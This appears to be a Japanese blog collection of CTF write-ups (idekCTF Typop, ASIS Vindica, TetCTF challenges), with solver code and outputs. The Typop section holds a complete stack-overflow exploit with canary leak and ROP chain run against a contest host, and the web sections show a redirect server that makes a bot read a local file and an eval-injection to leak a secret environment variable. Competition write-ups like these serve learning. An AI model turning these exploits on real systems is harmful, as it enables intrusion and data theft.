idekCTF 2022 Typop

Pwn/Typop
JW#9396

While writing the feedback form for idekCTF, JW made a small typo. It still compiled though, so what could possibly go wrong?

nc typop.chal.idek.team 1337

Downloads

Ghidraで解析する。main関数。
undefined8 main(void)
{
  int iVar1;
  
  setvbuf(stdout,(char *)0x0,2,0);
  while( true ) {
    iVar1 = puts("Do you want to complete a survey?");
    if (iVar1 == 0) {
      return 0;
    }
    iVar1 = getchar();
    if (iVar1 != 0x79) break;
    getchar();
    getFeedback();
  }
  return 0;
}
y(0x79)を入力してgetFeedback関数に行く。
void getFeedback(void)
{
  long in_FS_OFFSET;
  undefined8 local_1a;
  undefined2 local_12;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_1a = 0;
  local_12 = 0;
  puts("Do you like ctf?");
  read(0,&local_1a,0x1e);
  printf("You said: %s\\n",&local_1a);
  if ((char)local_1a == 'y') {
    printf("That\\'s great! ");
  }
  else {
    printf("Aww :( ");
  }
  puts("Can you provide some extra feedback?");
  read(0,&local_1a,0x5a);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
readの読み込みサイズが大きいためバッファオーバーフローが起こる。1周目の最初の入力でlocal_10(Canary)の値を漏洩させて2回目の入力でlocal_10(Canary)の値を復元(Stack Canaryの先頭1バイトは0)して2周目へ。2周目の最初の入力でリターンアドレス(main)をリークさせてwinのアドレスを計算、2回目の入力でwin関数を呼び出す。
void win(undefined param_1,undefined param_2,undefined param_3)
{
  FILE *__stream;
  long in_FS_OFFSET;
  undefined8 local_52;
  undefined2 local_4a;
  undefined8 local_48;
  undefined8 local_40;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined8 local_20;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_4a = 0;
  local_52 = CONCAT17(0x74,CONCAT16(0x78,CONCAT15(0x74,CONCAT14(0x2e,CONCAT13(0x67,CONCAT12(param_3,
                                                  CONCAT11(param_2,param_1)))))));
  __stream = fopen((char *)&local_52,"r");
  if (__stream == (FILE *)0x0) {
    puts("Error opening flag file.");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  local_48 = 0;
  local_40 = 0;
  local_38 = 0;
  local_30 = 0;
  local_28 = 0;
  local_20 = 0;
  fgets((char *)&local_48,0x20,__stream);
  puts((char *)&local_48);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
win関数を呼び出す際、引数にはparam_1(EDI)=0x66(f)、param_2(ESI)=0x6c(l)、param_3(EDX)=0x61(a)をセットしておく必要がある。引数が3つ以上ある場合は、__libc_csu_init関数の「pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret」と「mov rdx, r14 ; mov rsi, r13 ; mov edi, r12d ; call qword [r15+rbx*8]」を利用してレジスタにセットする。

from pwn import *
import argparse

parser = argparse.ArgumentParser()
parser.add_argument('--local', action='store_true')
args = parser.parse_args()

context.log_level = 'debug'
if args.local:
    #p = process('./chall')
    p = gdb.debug('./chall', '''
    break __libc_csu_init
    break main
    break getFeedback
    break win
    continue
''')
else:
    p = remote('typop.chal.idek.team', 1337)

elf = ELF('chall', checksec=False)
rop = ROP(elf)

p.recvuntil(b"Do you want to complete a survey?")
p.sendline(b"y")

p.recvuntil(b"Do you like ctf?")
p.sendline(
    b''
    + b'A' * 0xa
)

p.recvline()
p.recvline()    # You said: AAAAAAAAAA
ret = p.recvline()
print(ret)
canary = ret[:7]
print(canary)
canary = canary.rjust(8, b'\0')
print('canary=', canary)
saved_rbp = ret[7:].strip()
print('saved_rbp=', saved_rbp)
saved_rbp = u64(saved_rbp.ljust(8, b'\0'))
print('saved_rbp=', saved_rbp)

p.recvuntil(b"Can you provide some extra feedback?")
p.send(
    b''
    + b'A' * 0xa
    + canary
)

# 2回目
p.recvuntil(b"Do you want to complete a survey?")
p.sendline(b"y")

p.recvuntil(b"Do you like ctf?")
p.sendline(
    b''
    + b'A' * 0xa
    + b'B' * 8
    + b'C' * 7
)

p.recvline()
p.recvline()    # You said: AAAAAAAAAA
ret = p.recvline()
print(ret)
main_addr = ret.strip()
print('main=', main_addr)
main_addr = u64(main_addr.ljust(8, b'\0'))
main_addr -= 55
print('main=', main_addr)
diff = elf.symbols['win'] - elf.symbols['main']
print(diff)
win_addr = main_addr + diff

call_r15 = 0x000014b0   # mov rdx, r14 ; mov rsi, r13 ; mov edi, r12d ; call qword [r15+rbx*8]
call_r15 += main_addr-elf.symbols['main']
popret_rbx = 0x000014ca # pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
popret_rbx += main_addr-elf.symbols['main']

p.recvuntil(b"Can you provide some extra feedback?\n")
p.send(
    b''
    + b'A' * 0x2
    + p64(win_addr)
    + canary
    + p64(saved_rbp)
    + p64(popret_rbx)
    + p64(0)    # 0 -> rbx
    + p64(1)    # 1 -> rbp
    + p64(0x66) # 'f' -> r12
    + p64(0x6c) # 'l' -> r13
    + p64(0x61) # 'a' -> r14
    + p64(saved_rbp - 0x20) # win_addr -> r15
    + p64(call_r15)
)

ret = p.recvall()
print(ret)
実行すると次のようになる。
[x] Opening connection to typop.chal.idek.team on port 1337
[x] Opening connection to typop.chal.idek.team on port 1337: Trying 34.85.186.45
[+] Opening connection to typop.chal.idek.team on port 1337: Done
[*] Loaded 14 cached gadgets for 'chall'
[DEBUG] Received 0x1e bytes:
    b'== proof-of-work: disabled ==\n'
[DEBUG] Received 0x22 bytes:
    b'Do you want to complete a survey?\n'
[DEBUG] Sent 0x2 bytes:
    b'y\n'
[DEBUG] Received 0x11 bytes:
    b'Do you like ctf?\n'
[DEBUG] Sent 0xb bytes:
    b'AAAAAAAAAA\n'
[DEBUG] Received 0x4f bytes:
    00000000  59 6f 75 20  73 61 69 64  3a 20 41 41  41 41 41 41  │You │said│: AA│AAAA│
    00000010  41 41 41 41  0a ac 7f 5b  2f db 39 85  e0 97 98 ac  │AAAA│···[│/·9·│····│
    00000020  fc 7f 0a 41  77 77 20 3a  28 20 43 61  6e 20 79 6f  │···A│ww :│( Ca│n yo│
    00000030  75 20 70 72  6f 76 69 64  65 20 73 6f  6d 65 20 65  │u pr│ovid│e so│me e│
    00000040  78 74 72 61  20 66 65 65  64 62 61 63  6b 3f 0a     │xtra│ fee│dbac│k?·│
    0000004f
b'\xac\x7f[/\xdb9\x85\xe0\x97\x98\xac\xfc\x7f\n'
b'\xac\x7f[/\xdb9\x85'
canary= b'\x00\xac\x7f[/\xdb9\x85'
saved_rbp= b'\xe0\x97\x98\xac\xfc\x7f'
saved_rbp= 140723204167648
[DEBUG] Sent 0x12 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 00 ac  7f 5b 2f db  │AAAA│AAAA│AA··│·[/·│
    00000010  39 85                                               │9·│
    00000012
[DEBUG] Received 0x22 bytes:
    b'Do you want to complete a survey?\n'
[DEBUG] Sent 0x2 bytes:
    b'y\n'
[DEBUG] Received 0x11 bytes:
    b'Do you like ctf?\n'
[DEBUG] Sent 0x1a bytes:
    b'AAAAAAAAAABBBBBBBBCCCCCCC\n'
[DEBUG] Received 0x57 bytes:
    00000000  59 6f 75 20  73 61 69 64  3a 20 41 41  41 41 41 41  │You │said│: AA│AAAA│
    00000010  41 41 41 41  42 42 42 42  42 42 42 42  43 43 43 43  │AAAA│BBBB│BBBB│CCCC│
    00000020  43 43 43 0a  47 74 e9 3d  a0 55 0a 41  77 77 20 3a  │CCC·│Gt·=│·U·A│ww :│
    00000030  28 20 43 61  6e 20 79 6f  75 20 70 72  6f 76 69 64  │( Ca│n yo│u pr│ovid│
    00000040  65 20 73 6f  6d 65 20 65  78 74 72 61  20 66 65 65  │e so│me e│xtra│ fee│
    00000050  64 62 61 63  6b 3f 0a                               │dbac│k?·│
    00000057
b'Gt\xe9=\xa0U\n'
main= b'Gt\xe9=\xa0U'
main= 94146721838096
-455
[DEBUG] Sent 0x5a bytes:
    00000000  41 41 49 72  e9 3d a0 55  00 00 00 ac  7f 5b 2f db  │AAIr│·=·U│····│·[/·│
    00000010  39 85 e0 97  98 ac fc 7f  00 00 ca 74  e9 3d a0 55  │9···│····│···t│·=·U│
    00000020  00 00 00 00  00 00 00 00  00 00 01 00  00 00 00 00  │····│····│····│····│
    00000030  00 00 66 00  00 00 00 00  00 00 6c 00  00 00 00 00  │··f·│····│··l·│····│
    00000040  00 00 61 00  00 00 00 00  00 00 c0 97  98 ac fc 7f  │··a·│····│····│····│
    00000050  00 00 b0 74  e9 3d a0 55  00 00                     │···t│·=·U│··│
    0000005a
[x] Receiving all data
[x] Receiving all data: 0B
[DEBUG] Received 0x1f bytes:
    b'idek{2_guess_typos_do_matter}\n'
    b'\n'
[x] Receiving all data: 31B
[+] Receiving all data: Done (31B)
[*] Closed connection to typop.chal.idek.team port 1337
b'idek{2_guess_typos_do_matter}\n\n'
フラグは
idek{2_guess_typos_do_matter}

ASIS CTF Finals 2022 Vindica

Vindica

Simple multiplications with almost small matrices is still fun! Help Vindica to do precise operation.

vindica.sage
#!/usr/bin/env sage

from Crypto.Util.number import *
from flag import flag

def genkey(nbit, k):
    p = getPrime(nbit)
    q = getPrime(nbit >> 2)
    n = p * q
    N = (p**k - 1) * (q**k - 1)
    while True:
        e = getRandomRange(1, n)
        if gcd(e, n * N) == 1:
            pkey = e, n, N
            skey = p, q
            return (pkey, skey)

def two_layencrypt(msg, pkey):
    e, n, _ = pkey
    Zn = Zmod(n)
    m = bytes_to_long(msg)
    c = pow(m, e, n)
    _c = str(c)
    l = len(_c)
    _C = matrix(Zn, [[_c[:l//4], _c[l//4:l//2]], [_c[l//2:3*l//4], _c[3*l//4:l]]])
    assert gcd(det(_C), n) == 1
    C = _C ** e
    return C

k, nbit = 2, 1024

pkey, skey = genkey(nbit, k)
e, n, N = pkey

C = two_layencrypt(flag, pkey)

print(f'e = {e}')
print(f'n = {n}')
print(f'N = {N}')
print(f'C = {C}')
k=2より、N=(p**2-1)*(q**2-1)=(p+1)(p-1)(q+1)(q-1)=(p+1)(q+1)*phi。したがって、秘密鍵d=inverse_mod(e, N)で求められる。cを文字列にして4分割した際に頭が0の場合、桁がなくなるのでそこを補ってあげる必要がある。
solve.sage
from Crypto.Util.number import *

e = 5078482198772022486668806580385994617046152136879757946447753006497559096311363698189927671279662282460215881884971383977603769421560651587643105884432120505614024093712045492181196774755153389551488415626903341200511584895756666520506685233571091301553677432797291383522948247421577307790421871576621793242903515091500045988509062949276333178982069574732477506029694357450058826765713
n = 10363021449027481978397698136523040156224840526536988813980447772289732568252796583569029480400841885971918279457292628777077494964266272306073795156837303451597151870070735534829041207628743246817464229192036030566123925737361164838906363407544870946204200850305741513829976332440459648804252085931138269521493971098766209511334573046832632919268929658929293913408444131177270388104753
N = 107392213553003652264193356141167842390327964666141411489753605300895389967717966219065325990583863026846677998499640622335255057106717292127317146400275358099599424428452765008928717339373244201449378568575832746100164090683550257574318731278439068909731202915200677410600049491303490567787820558996671108309423176089895240263790586705493906801778186252566858325220004019042683750828880339778401860112372011304892642369252185945127428055544519414082092350188418631467500702136331749454574303277689214044524567187394949387563389853123501460406372967215083941957639592408343405520031691298337072435702126794068748777393361487701429744483153095410562309113676977172598678391507488125481975026270733267725691293233008326251906894300961329722446578580183117531847748965008640
C = [[1946208174139816651741710263419547576592153126350801855142762133627913647508863455823382709899043259671094044028462261991810476672592342389139600583419037130249400429216051912147809156497388747490389535839278095179701275637029504452920313532785460709421810335322833683324583540542971635153116319417565879782567743525221686507906726087786621105169291168378964690052819764946613598283697,
1132182340479698114482383874952797406851835394503617195832358500522890480350948370033970794090094723318039532275191223723742462388681999900392328756181997298887891875712789491584405574822571967927609744519369790826014436738457000983543164898860473898076283762333186668689272789942682725689777116575064398495040777661209346469818796761610299917869552187462992078953932871607107940428566],
[7700452780560041441552917813890524163110993823471424265020074756508053970669942522256608739094119235303843336659577921739326977145056801702083374978356129281255531665001370179699899093743464696424465158478872708449905227751200590864428048833098665065609353140089197777268079240074549285218684722855590774839476140179718516214563523243006229792289296462740200370706099145614178211440202,
7782708893953874570747318809245408011800629307006741721998241910864916749737624604100584864398704986546325867550058017705502633594608936861884411666933396887981901979859722266987588797058800525120021500545010297268991183937262790320218011315696953115130360268521260963297555084965631546139006069842106143556094168429235033227360856462499208085105421810405108260458185350930612978313221]]

Zn = Zmod(n)
C = matrix(Zn, 2, 2, C)
_C = C ** inverse_mod(e, N)
l00 = len(str(_C[0][0]))
l01 = len(str(_C[0][1]))
l10 = len(str(_C[1][0]))
l11 = len(str(_C[1][1]))
print(l00, l01, l10, l11)
_l = l00 + l01 + l10 + l11
for _ in range(10):
    _l00 = _l//4
    _l01 = _l//2 - _l//4
    _l10 = _l*3//4 - _l//2
    _l11 = _l - _l*3//4
    print(_l00, _l01, _l10, _l11)
    _c = "0"*(_l00-l00)+str(_C[0][0]) + "0"*(_l01-l01)+str(_C[0][1]) + "0"*(_l10-l10)+str(_C[1][0]) + "0"*(_l11-l11)+str(_C[1][1])
    l = len(_c)
    c = int(_c)
    m = power_mod(c, inverse_mod(e, N), n)
    msg = long_to_bytes(m)
    print(msg)
    if b"ASIS" in msg:
        break
    _l+=1
実行すると下記のようになる。
96 95 95 97

95 96 96 96

b'\r\xe9\xd1\x86=\xe5\x9d\x93\xa8\x90\x92\xfd \x0e\xfa\xb2\xdb\xa4q.(\xc8)~^Oz\x0f\xde\xac\x0f"\xeb\x1a{\x82(\x7f\x94\xc5\xc7\r\x9e\xc7\xb3U\x8b\xc9\xdaOS4\\\x19\xbcA\x8fD\x93\xa3\xfe\xcb\x90\n_6c\x11\xcb|S\x86G\xdbr\xac\xfe%aK\x14\xf6\x08\t\xfb\xf1\x10\xae\x88\xb5^\xd3\xaf\xa0\xd7\x8e\x01U`\x97N?\xadl\xdf\x88w\xf1\x87%\xd0\xd6\x94\x0e\x1d \xb9}0\xba\xa6\xc36\xda7\xc5\x80\x8b\x99o\x06\xc5\x91\xd0\xfa\xb3\x08c\xd1\xcb\xe5Y\xfd\xe4s\x05\xa68z3\x10Px\x84(\n\xf2K\xe2\x8a'

96 96 96 96

b'\r\xe9\xd1\x86=\xe5\x9d\x93\xa8\x90\x92\xfd \x0e\xfa\xb2\xdb\xa4q.(\xc8)~^Oz\x0f\xde\xac\x0f"\xeb\x1a{\x82(\x7f\x94\xc5\xc7\r\x9e\xc7\xb3U\x8b\xc9\xdaOS4\\\x19\xbcA\x8fD\x93\xa3\xfe\xcb\x90\n_6c\x11\xcb|S\x86G\xdbr\xac\xfe%aK\x14\xf6\x08\t\xfb\xf1\x10\xae\x88\xb5^\xd3\xaf\xa0\xd7\x8e\x01U`\x97N?\xadl\xdf\x88w\xf1\x87%\xd0\xd6\x94\x0e\x1d \xb9}0\xba\xa6\xc36\xda7\xc5\x80\x8b\x99o\x06\xc5\x91\xd0\xfa\xb3\x08c\xd1\xcb\xe5Y\xfd\xe4s\x05\xa68z3\x10Px\x84(\n\xf2K\xe2\x8a'

96 96 96 97

b'\r\xe9\xd1\x86=\xe5\x9d\x93\xa8\x90\x92\xfd \x0e\xfa\xb2\xdb\xa4q.(\xc8)~^Oz\x0f\xde\xac\x0f"\xeb\x1a{\x82(\x7f\x94\xc5\xc7\r\x9e\xc7\xb3U\x8b\xc9\xdaOS4\\\x19\xbcA\x8fD\x93\xa3\xfe\xcb\x90\n_6c\x11\xcb|S\x86G\xdbr\xac\xfe%aK\x14\xf6\x08\t\xfb\xf1\x10\xae\x88\xb5^\xd3\xaf\xa0\xd7\x8e\x01U`\x97N?\xadl\xdf\x88w\xf1\x87%\xd0\xd6\x94\x0e\x1d \xb9}0\xba\xa6\xc36\xda7\xc5\x80\x8b\x99o\x06\xc5\x91\xd0\xfa\xb3\x08c\xd1\xcb\xe5Y\xfd\xe4s\x05\xa68z3\x10Px\x84(\n\xf2K\xe2\x8a'

96 97 96 97

b'ASIS{m4Tr!X_M0D1fIcA7iOn_0F_RSA_12431!}'
Basics of SageMath: Mathematics(Practical)
KUMAR, VARUN
Amazon KDP
2022-07-03

TetCTF 2023 Image Services Viewer

Image Services Viewer

775

Chall name:

  • Image Services Viewer

Category:

  • Web

Author:

  • tuo4n8

Description:

  • Do you know secret which on my server!!!!

  • Server: http://139.162.15.7:2023

Material:

  • Binary
  • Note: The binary provided for Image Services Viewer and Admin Lairay Old School challenges are the same.
const isAdmin = (req, res, next) => {
    try {
        if (req.query.password.length > 12 || req.query.password != "Th!sIsS3xreT0") {
            return res.send("You don't have permission")
        }
        next();
    } catch (error) {
        return res.status(500).send("Oops, something went wrong.");
    }
}
isAdminのpasswordチェックを通すために、passwordは配列で渡す。
POST http://139.162.15.7:2023/api/getImage?password[]=Th!sIsS3xreT0 HTTP/1.1
bot.pyでは、file://が使えるようになっている。LocalFileAdapter は、ローカルマシンに保存されたファイルにアクセスして操作することができるファイルアダプターです。
if __name__ == '__main__':
    try:
        if (len(sys.argv) < 2):
            exit()
        url = sys.argv[1]
        headers = {'user-agent': 'PythonBot/0.0.1'}
        request = requests.session()
        request.mount('file://', LocalFileAdapter())

        # check extentsion
        white_list_ext = ('.jpg', '.png', '.jpeg', '.gif')
        vaild_extension = url.endswith(white_list_ext)

        if (vaild_extension):
            # check content-type
            res = request.head(url, headers=headers, timeout=3)
            if ('image' in res.headers.get("Content-type")
                    or 'image' in res.headers.get("content-type")
                    or 'image' in res.headers.get("Content-Type")):
                r = request.get(url, headers=headers, timeout=3)
                print(base64.b64encode(r.content))
pythonでローカルにWebサーバを立てる。メソッドがHEADの時はContent-type:image/pngを返す、GETの時はそれに加えてLocationヘッダを返して、ローカルのflagファイルにリダイレクトさせるレスポンスを返す。
from flask import Flask, request, make_response

app = Flask(__name__)

@app.route('/<wildcard>/')
def index(wildcard):
    status = 200
    response = make_response()
    response.headers['content-type'] = 'image/png'
    if request.method=='GET':
        status = 302
        response.headers['Location'] = 'file:///usr/src/app/fl4gg_tetCTF'
    return response, status

if __name__ == '__main__':
    app.debug = True
    app.run(host='127.0.0.1', port=8000)
次に、ローカルに立てたhttpサーバをngrokを使ってインターネットに公開する。
FiddlerでPOSTデータを次のようにする。
url=https://<<ngrok my server>>\@i.ibb.co/?a.png
次のレスポンスが返ってくる。
{"status":true,"data":"VGV0Q1RGe3BAcnMzX1VyMV9zMF9tNGdJSWNjY2NjLVcxdGhfbjBkZUxpYitwNGl0aDBufQ==\n"}
base64でデコードしてフラグは、
TetCTF{p@rs3_Ur1_s0_m4gIIccccc-W1th_n0deLib+p4ith0n}
Node.jsフレームワーク超入門
掌田津耶乃
秀和システム
2022-05-28

TetCTF 2023 shuffle128

shuffle128

711

Description

A weak version of RC4.

File

https://drive.google.com/file/d/1fRIQeOs8KeniRaH1vVANQUxCoBpAwxqv/view?usp=share_link

Author

@ndh

Outputからフラグの文字数は37文字。
TetCTF{xxxxxxxxxxxxxxxxxxxxxxxxxxxxx}
先頭7文字と最後の文字は確定、また不明な文字も上位1bitは0で確定している。randomにseed値が与えられているので、shuffledを再現できる。shuffledのうち確定しているbitとoutputより、keyを一部復元できる。またkeyは0~127で上位1bitが0であるため、outputとkeyよりshuffledを求めることができる。
if __name__ == '__main__':
    from secret import FLAG

    random.seed(2023)
    print(sys.version)
    prg = rc4_pseudo_random_generator(rc4_key_scheduling(FLAG))
    for _ in range(64):
        shuffled = shuffle(FLAG)
        key = bytes(next(prg) for _ in range(len(FLAG)))
        print(xor(shuffled, key).hex())
したがって、次のプログラムでフラグを復元することができる。
from bitarray import bitarray  # https://pypi.org/project/bitarray/
import random

output = [
    0x7dfdf6eba4da43bf7ca6eb64d3fbaac5e764b2c8e66e1f2a30e3b9e95b2ef48b28f105cdfc,
    0x3353e19ed6a3ecad7716831b8cc149ad3a1990c8f4682c434d1b7f417e7df9e9ca0743fc3a,
    0x2e15e68721c7773a920d9622cbad21b2d48e00358b1107b300ba19c3a48291dc1579eaf4f4,
    0xe0f6b4e61390ce8d1eab002af797eb022c58a6576ef55c78b917268b9fe4d3f45dfc7d5dc3,
    0xde11f01e825a69e5b1e004db1f79974ca9e42a2b0c0197dcb322f5a0e43cf7ddfdb529699d,
    0x976dbf67bf2f67fd947c69696c5ef5bb9186b8031d279165a5fcd1f6ac9d7f668b847ecfc0,
    0x01f123b89f75d3ab5f744caa4dd892eac598a0b1413cc0abf93509b2bc254a5714fd979f7a,
    0x488b3d4d110f2dca864f6589a58033cc23ca3618db8ce59f398b7b9a6dfd93220e1cd02538,
    0x6b92f7e54e6406b2d7d1176f5604e22cf4c6710ff35fa4cf7d33a7d1855a7f868da8713faa,
    0xf9302dccf5c000ef69c2440fbe22b7eaeb5a95483dda09a0b0414e297ad81fb64fabc60025,
    0xc9b5dcf6031051d3433ddc358f7e18b3f7cec58b37bace17f2fd1e39b1cac64fbfcdbff2aa,
    0xbddac6c00310a5c80cb73d640a1b0592ed5d99984971a085941e7ea8e2fd0e86aaa1b7098f,
    0x2ac7cdeb9e7eeb5abad2b4ed1238de39cb17aa4f4d8827ebd36d4a99acb9fb4e44cd365186,
    0xb38ed3a76f5751faaca88fbae7ef53a6a4baa4f29b4bca0ef782b373969d3df62d9c276d69,
    0x20f40b4267ae37f994dac8fccbb652d29abce709dc9f52223ddebe441899edfb8dc3a31a5d,
    0xc9116855c08f1d04cbe6d86d0e9523c564fd3dd8bb79f7898ea7e624aba832e6530ad1231c,
    0xb388f35a0f2009326bf66170156e57a36eea83285698fcdf2ba1fbbad199dc9d7860158d5e,
    0x1f8c81249a0428cd781494ada971c49e1cd7121af374ecc70d902ad0f4f736e4ef23f61fc9,
    0xb70d877d5ff8c38096faecb1de2df31ce467372c09c66c54b8e122123b539966937bb94d52,
    0x72951dcfda3601c762b4ea5119e40e93bbe7a595a35db985cb990f3bbcc74ddc7157f0baff,
    0xca0532f7df0239d0fe60e9a62852384f6cce737884808134fb1960e84803fb6ddc144df3c9,
    0x78f35e7e26df365e213787a3885ca11c76d14fb998d4a440826b2d8adaa5fe85065c9e9c0d,
    0xf3110f509bd39e5ead882e85ccb31906809a0c29e33a79f0b3229e671dba1353c89968c4a4,
    0x2ac15e7a5dcc821c58ac08d526e5a350ef994bb485fc1c916f59e366e6f7e7ddc76b4a0cae,
    0x381a2afbc6aa95643248d8dd39c44fd7090746af9fa3f3c4f70ba56298d6ca1b36b7d19ec8,
    0xb098dfffe1cd19019ba9c472f6f966964352a958eda8707553021870ba51c9a0b573a59f99,
    0x02578a8b58c1e9c9d5f4321e0b8eb66922905ec2dfd3bf1a6ef583fcce8846243cf6c609d9,
    0x93efb1acf6b268c5a79746a28c64adbbbc81924991e13aa971d64f4087c87650ebb6309daa,
    0x9fcbff37a9919d676e6ce86d9bae8f75376b1a7a76de304c622fe163ea7549a8dcccb095f7,
    0xad25c09cdcc768b53a519daf6f1a0861b4c9530cc9d0cf82fbf7c9f5a9acc2346d611a21d0,
    0x08aee3c019e664d88f3f1147c4f52d33f2f4ab9fea176625f24a14d517a1d59d338e5bf0aa,
    0x479de7e5e8e7841382bb7c9c844f7f8d900979bd360c6d84dc69bd17e7f4ced202afce5964,
    0x65c43c740e68be4ac64c559f09b461904be78fe5f5eaa6f78afb23a1d9c12ecf1d14a287a3,
    0x90063ef6a3b48091f514f1b87dc3ef40942989648043df1dda7d1221c0efea863f69f2fba6,
    0xe4c2976ec29fec9cc3d04ec5f4dde4e282886be0c5ee471ccb8cd201558adb759375c27d78,
    0x1ec9458af0857b6f437ee5d72de707eb6d38df96a830bb53775667f9722a46869e0954b5ad,
    0x5de6f6df232cc29f3fcaac177f323ecfd99732e7559f9d6ffdd706e387bcc23127891be4e1,
    0x7df2884288490b19fd7d20c746508c3ee8e77706c549ba5a07bf9cc183ede90e5cdd6cc59b,
    0x6ebc5d2caff2d0fc8afb538ea990f4289f716375834a67966dc6eba35b7559726826c23bd4,
    0xe6bdfbfe7f094d6ecfdf76433cfc3c64c5041ad8aeaf84ba5c8473b24d836f332e8e41eabe,
    0x6b845fefb8e5fe2253600c137047ee029a1bab28e9b45eda71597169148593938049092ee2,
    0x1172b4a57311da2ff968e1071c4eff0bd22a333cfdc8a6fdef41a4b98f69620152bbeb60b5,
    0x5a788ee6a476eaaa3f581eaebc2589efa640ac37fc5faa4f3591b7db58234dd8fb9743192d,
    0x07d49bf8af3cf3ac77db932a41b81d61736b7e8f5bb656b2a9637f57b7871c1297bf5e3b14,
    0x94d1d09e9c3d024538c4e5fedafbf5aed564d9998dec700647f704115f281efe74aefc0231,
    0xb11b4ff19b77cd69f1881e5401c6e56a9bbf2e88bb443b3340de8d01c4768c6efa34233b35,
    0xdfc7edc0fa6232d7df18717c9dec7631295a035afdeeea7e2dfaec3518e58c8189f65dd52f,
    0x5490e892fca7f4be4312ad69b1eed46e11cb94bf8bafd2ef725e77fd9620ba980fa1d46563,
    0xb9066eb49cb42ecfdcd9f7713e0feddb920043908df127cf35386df3b4bce6fab3c6a3e89f,
    0x8c51507ea79ffb2914436f8c9fa39501d89b8f9446cbe2fcfb0bada4886ff76b20ce1e29f3,
    0x6df94fc313b82da575073aeb54c35e5d3ff0c9dc7032cbffcc92b47b2fead75610d6157bca,
    0xb92cf23e538fc6b3d1c0e28dd81f3c2a58d890bf323da321a39c9fb601caee4bcc1ccc9abd,
    0x0cc0985f966eb484c5f26b9bb8821dabf3b88d3471b55c6351a43fde32428519241a0ddd76,
    0x78cf7e7bf1ffa53812d1c9b47fc23852b2fcd318f7ea21dba12ad3a1d4f38e2ba1a5116aa9,
    0xe35e377f7972b49fbb82a42f90443ca77adb678fa278bf93046c8ec2bc05cb2155d5b506d6,
    0x3bc4ffa6eb16c6da6c40d78b132131092bc8f0696a81e14deca5018daea56c6678befbc1f8,
    0x138d167661180fc7b7c52fa821c518a29d41c5a73aee9969f74b096cff8fca7ead4f5affe9,
    0x3784f8b584545b1ef09aa3815182776966eb9d4758f25ae89550aee3916dce6f40d29c79ee,
    0x09913e8ed1778c95cbac302c86cc4ba5ad8b5fe113c78352d00979e84dcd10c3ecd036fba0,
    0xd1ed85304ea4a3e03233544efb85017c9cd1d3259d959acc0f0dbdaece9ed668d937d52309,
    0xe6b89393cfd0e888c8dce582495d216760eb1a8032103351d15c8033a46aae338a11ac99ee,
    0x92683cb1cb9f24a7925395f54be8b0e520ffd5afbc80c11256e33324bf2509a1c9b64f46dc,
    0x0b7e5204fba4ceec74ee7b35417ecb88fa8a74c6575bb6de8f15f1257b6e02a42e4b56dff0,
    0x49d609e06cb04aa787ebe99d741d4b60b909a00c0de6faecbf4c6d21559495a7c67060625d,
]

from Crypto.Util.number import bytes_to_long, long_to_bytes

if __name__ == '__main__':
    #from secret import FLAG
    FLAG = b"TetCTF{89012345678901234567890123456}"
    bit = [False for _ in range(len(FLAG)*8)]
    for i in range(len("TetCTF{")*8):
        bit[i] = True
    for i in range(8):
        bit[len(FLAG)*8-i-1] = True
    for i in range(0, len(FLAG)*8, 8):
        bit[i] = True
    flag_bit = bitarray()
    flag_bit.frombytes(FLAG)

    test = [i for i in range(len(FLAG)*8)]
    shuffleds = []
    random.seed(2023)
    for _ in range(64):
        test2 = test[:]
        random.shuffle(test2)
        shuffleds.append(test2)

    print(shuffleds)

    for _ in range(2):
        keys = []
        for i in range(64):
            shuffled = shuffleds[i]
            out = bitarray()
            out.frombytes(long_to_bytes(output[i]))
            key = []
            for j in range(len(FLAG)*8):
                s = shuffled[j]
                if bit[s]:
                    k = flag_bit[s] ^ out[j]
                    if j%8==0:
                        assert(k==0)
                    key.append(k)
                else:
                    if j%8==0:
                        k = 0
                        f = out[j] ^ k
                        key.append(k)
                        flag_bit[s] = f
                        bit[s] = True
                    else:
                        key.append(None)
            keys.append(key)
        print(keys)
   
    print(bit)
    print(bytes(flag_bit))
フラグは、
TetCTF{____1nsuff1c13nt_3ntr0py_____}

TetCTF 2023 NewYearBot

NewYearBot

100

Description

New Year New Code! My friend decide to learn code in new year, here his very first website: http://172.105.120.180:9999/

File

He said it is very secure because he is very strict on what user can input, can you check?

https://drive.google.com/file/d/1tU18ePUAHHYpxJ9QhdVKBpuBm_eXy--r/view?usp=sharing

Note

Don't generate excessive load. Scanning/Dirbust is not needed.

Author

@tsug0d

Flaskを使用したWebアプリケーション。フラグを環境変数から読み込んでいる。
from flask import Flask, request
import re, random, os

app = Flask(__name__)
FL4G = os.environ.get('secret_flag')
eval関数を呼び出しているので、typeにFL4G、numberに添え字を指定することで1文字ずつ取得できそう。
        debug = request.args.get("debug")
        if request.method == 'POST':
            greetType = request.form["type"]
            greetNumber = request.form["number"]
            if greetType == "greeting_all":
                greeting = random_greet(random.choice(NewYearCategoryList))
            else:
                try:
                    if greetType != None and greetNumber != None:
                        greetNumber = re.sub(r'\s+', '', greetNumber)
                        if greetType.isidentifier() == True and botValidator(greetNumber) == True:
                            if len("%s[%s]" % (greetType, greetNumber)) > 20:
                                greeting = fail
                            else:
                                greeting = eval("%s[%s]" % (greetType, greetNumber))
                            try:
                                if greeting != fail and debug != None:
                                    greeting += "<br>You're choosing %s, it has %s quotes"%(greetType, len(eval(greetType)))
入力チェックで数字は0~5しか使えないが、()-*~^|などの記号は使える。
def botValidator(s):
    # Number only!
    for c in s:
        if (57 < ord(c) < 123):
            return False
    # The number should only within length of greeting list.
    n = "".join(x for x in re.findall(r'\d+', s))
    if n.isnumeric():
        ev = "max("
        for gl in NewYearCategoryList:
            ev += "len(%s)," % gl
        l = eval(ev[:-1]+")")
        if int(n) > (l-1):
            return False
    return True
Fiddlerを使ってPOSTデータを次のようにいじる。次のように1文字ずつフラグ文字を取得できる。
1
type=FL4G&number=0 #0 T
